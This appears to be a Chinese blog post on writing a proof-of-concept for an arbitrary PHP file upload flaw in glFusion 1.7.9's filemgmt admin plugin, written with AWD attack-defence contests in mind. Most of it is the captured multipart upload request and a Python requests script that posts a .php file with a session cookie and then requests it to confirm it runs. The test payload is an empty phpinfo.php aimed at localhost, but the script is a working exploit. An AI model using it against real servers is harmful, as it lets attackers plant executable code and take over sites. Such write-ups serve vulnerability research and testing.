之前写过文件上传相关的利用脚本,但是一直不太明白,也遗憾AWD攻防时没用到自动文件上传木马。审计到一个文件上传漏洞,刚好要编写Poc,所以花点时间写一个小本。
参考:
POST /glfusion-1.7.9/public_html/admin/plugins/filemgmt/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------5244765126746844271182386960
Content-Length: 1356
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/glfusion-1.7.9/public_html/admin/plugins/filemgmt/index.php?op=newfileConfigAdmin
Cookie: glf_theme=cms; glf_timezone=America%2FChicago; sc329=c5d0b2e6e8c27fa03c; pc63e=2; pwf7c=7c5ba4485f1972afcc4e9e6ec4a7745e; token=040646f16d9881cac56ce2a53db1a27c
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
-----------------------------5244765126746844271182386960
Content-Disposition: form-data; name="title"
test2
-----------------------------5244765126746844271182386960
Content-Disposition: form-data; name="newfile"; filename="test2.php"
Content-Type: application/octet-stream
-----------------------------5244765126746844271182386960
Content-Disposition: form-data; name="fileurl"
test2
-----------------------------5244765126746844271182386960
Content-Disposition: form-data; name="cid"
1
-----------------------------5244765126746844271182386960
Content-Disposition: form-data; name="homepage"
test2
-----------------------------5244765126746844271182386960
Content-Disposition: form-data; name="version"
test2
-----------------------------5244765126746844271182386960
Content-Disposition: form-data; name="description"
test2
-----------------------------5244765126746844271182386960
Content-Disposition: form-data; name="newfileshot"; filename=""
Content-Type: application/octet-stream
-----------------------------5244765126746844271182386960
Content-Disposition: form-data; name="commentoption"
1
-----------------------------5244765126746844271182386960
Content-Disposition: form-data; name="op"
addDownload
-----------------------------5244765126746844271182386960--
构造请求头部分,主要是添加 Cookie 字段。
不需要添加 Content-Type 字段(否则会报错),requests 库会在请求中添加该字段。 (进一步优化脚本的方向)
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Cookie": "glf_theme=cms; glf_timezone=America%2FChicago; sc329=c5d0b2e6e8c27fa03c; pc63e=2; pwf7c=7c5ba4485f1972afcc4e9e6ec4a7745e; token=040646f16d9881cac56ce2a53db1a27c",
# "Content-Type": "multipart/form-data; boundary=---------------------------5244765126746844271182386960",
}
根据人工请求、使用burpsuite抓到的请求包,来构造脚本请求的文件字典。
表单一个参数的实例如下,
脚本的键名 => 表单的参数名,
脚本的键值 => 文件名和文件内容(或者参数值)
-----------------------------5244765126746844271182386960
Content-Disposition: form-data; name="title"
test2
files = {
"title": (None, "test"),
"newfile": ("phpinfo.php", ""),
"fileurl": (None, "test"),
"cid": (None, "1"),
"homepage": (None, "test"),
"version": (None, "test"),
"description": (None, "test"),
"op": (None, "addDownload")
}
常常需要根据请求包调试脚本,确保能够使用脚本上传正常文件。
给请求开启代理,burpsuite抓包,对比正常数据包即可。
proxies = {
"http": "http://127.0.0.1:8080",
}
# coding=utf-8
import requests
def glfusion_upload(url):
path = "/admin/plugins/filemgmt/index.php"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Cookie": "glf_theme=cms; glf_timezone=America%2FChicago; sc329=c5d0b2e6e8c27fa03c; pc63e=2; pwf7c=7c5ba4485f1972afcc4e9e6ec4a7745e; token=040646f16d9881cac56ce2a53db1a27c",
# "Content-Type": "multipart/form-data; boundary=---------------------------5244765126746844271182386960",
}
files = {
"title": (None, "test"),
"newfile": ("phpinfo.php", ""),
"fileurl": (None, "test"),
"cid": (None, "1"),
"homepage": (None, "test"),
"version": (None, "test"),
"description": (None, "test"),
"op": (None, "addDownload")
}
# proxies = {
# "http": "http://127.0.0.1:8080",
# }
# resp = requests.post(url+path, headers=headers, files=files, proxies=proxies)
resp = requests.post(url + path, headers=headers, files=files)
print(resp.status_code)
poc_path = "/filemgmt_data/files/phpinfo.php"
resp2 = requests.post(url+poc_path)
if "PHP Version" in resp2.text:
print("[+]", url, "存在文件上传漏洞")
else:
print("[-]", url, "未发现文件上传漏洞")
if "__main__" == __name__:
url = "http://127.0.0.1/glfusion-1.7.9/public_html"
glfusion_upload(url)